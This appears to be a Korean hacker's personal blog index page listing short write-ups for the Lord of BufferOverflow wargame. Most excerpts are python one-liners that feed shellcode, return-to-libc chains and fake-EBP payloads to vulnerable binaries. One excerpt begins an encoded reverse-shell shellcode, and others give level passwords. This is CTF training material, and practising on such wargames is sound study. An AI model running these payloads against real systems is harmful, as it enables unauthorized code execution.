목록Wargame (52)

고졸백수해킹일기

orw

보호되어 있는 글입니다.
Wargame/pwnable.tw 2018. 3. 15. 01:18
start

보호되어 있는 글입니다.
Wargame/pwnable.tw 2018. 3. 15. 01:17
xavius->death_knight

reverse shell 이용쉘코드는 exploit-db 참조shellcode=\"\xeb\x11\x5e\x31\xc9\xb1\x6b\x80\x6c\x0e\xff\x35\x80\xe9\x01"+\"\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\xe5\x7b\xbd\x0e\x02\xb5"+\"\x66\xf5\x66\x10\x66\x07\x85\x9f\x36\x9f\x37\xbe\x16\x33\xf8"+\"\xe5\x9b\x02\xb5\xbe\xfb\x87\x9d\xf0\x37\xaf\x9e\xbe\x16\x9f"+\"\x45\x86\x8b\xbe\x16\x33\xf8\xe5\x9b\x02\xb5\x87\x8b\xbe\x16"+\"\xe8\x39\xe5\x9b\x02\xb5\x87\x87..
Wargame/lob 2018. 3. 13. 02:20
nightmare->xavius

(python -c 'print "\x90"*19+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"\x01\x50\x01\x40"';cat) | ./xavius 다른 문제와 다르게 fgets으로 받는다 그리고 소스를 보면 ret주소에 스택영역의 주소와 libc주소를 사용하지 못한다따라서 stdin영역을 사용하기로 했다. nop[19] + shellcode[25] + ret[4] (stdin address) throw me away
Wargame/lob 2018. 3. 13. 00:45
succubus->nightmare

./nightmare `python -c 'print "\xe0\x8a\x05\x40"+"aaaa"+"\xf9\xbf\x0f\x40"+"a"*32+"\x10\x84\x04\x08"+"aaaa"+"\x00\xfa\xff\xbf"+"\xd0\xf9\xff\xbf"'`0x40 0f bf f9buf{system+dummy+/bin/sh address +dummy 32byte} + strcpy addr + dummy[4] + strcpy ret + buf start addr beg for me
Wargame/lob 2018. 3. 12. 04:13
zombie_assassin->succubus

./succubus `python -c 'print "A"*44+"\xec\x87\x04\x08"+"\xbc\x87\x04\x08"+"\x8c\x87\x04\x08"+"\x5c\x87\x04\x08"+"\x24\x87\x04\x08"+"AAAA"+"\x98\xfa\xff\xbf"+"/bin/sh"'` buf[40] -> SFP[4]-> DO address -> GAE address -> GUL address -> YUT address -> MO adddress -> dummy[4] -> /bin/sh address -> /bin/sh here to stay
Wargame/lob 2018. 3. 11. 23:24
assassin->zombie_assassin

fake EBP./zombie_assassin `python -c 'print "\x90"*4+"\xe0\x8a\x05\x40"+"\xe0\x91\x03\x40"+"\xf9\xbf\x0f\x40"+"\x90"*24+"\x90\xfa\xff\xbf"+"\xdf\x84\x04\x08"'` no place to hide
Wargame/lob 2018. 3. 7. 04:11
giant->assassin

./assassin `python -c 'print "A"*44+"\x1e\x85\x04\x08"+"\x14\xfc\xff\xbf"'` `python -c 'print "\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80"'` ret부분에 코드영역의 ret명령을 사용했다.buf + ret + shellcode ret +shellcode pushing me away
Wargame/lob 2018. 3. 7. 02:08
bugbear->giant

execve를 사용한 RTLpayload = buf[40byte] + SFP[4] + execve_addr + system_addr + exit_addr + /bin/sh addr + null one step closer
Wargame/lob 2018. 3. 7. 01:01
darkknight->bugbear

../bugbear `python -c 'print "\x90"*44+"\xe0\x8a\x05\x40"+"BBBB"+"\x1a\xfc\xff\xbf"+"/bin/sh"'`;RTL을 이용하여 exploit해주면 된다.system 주소는 main에 bp를 걸어주고 p system을 쳐주면 구할 수 있다./bin/sh의 주소는 esp+8에 넣어주면 된다. uid=512(darkknight) gid=512(darkknight) euid=513(bugbear) egid=513(bugbear) groups=512(darkknight)bash$ my-passeuid = 513new divide
Wargame/lob 2018. 2. 27. 15:24
이전 Prev 1 2 3 4 ··· 6 Next 다음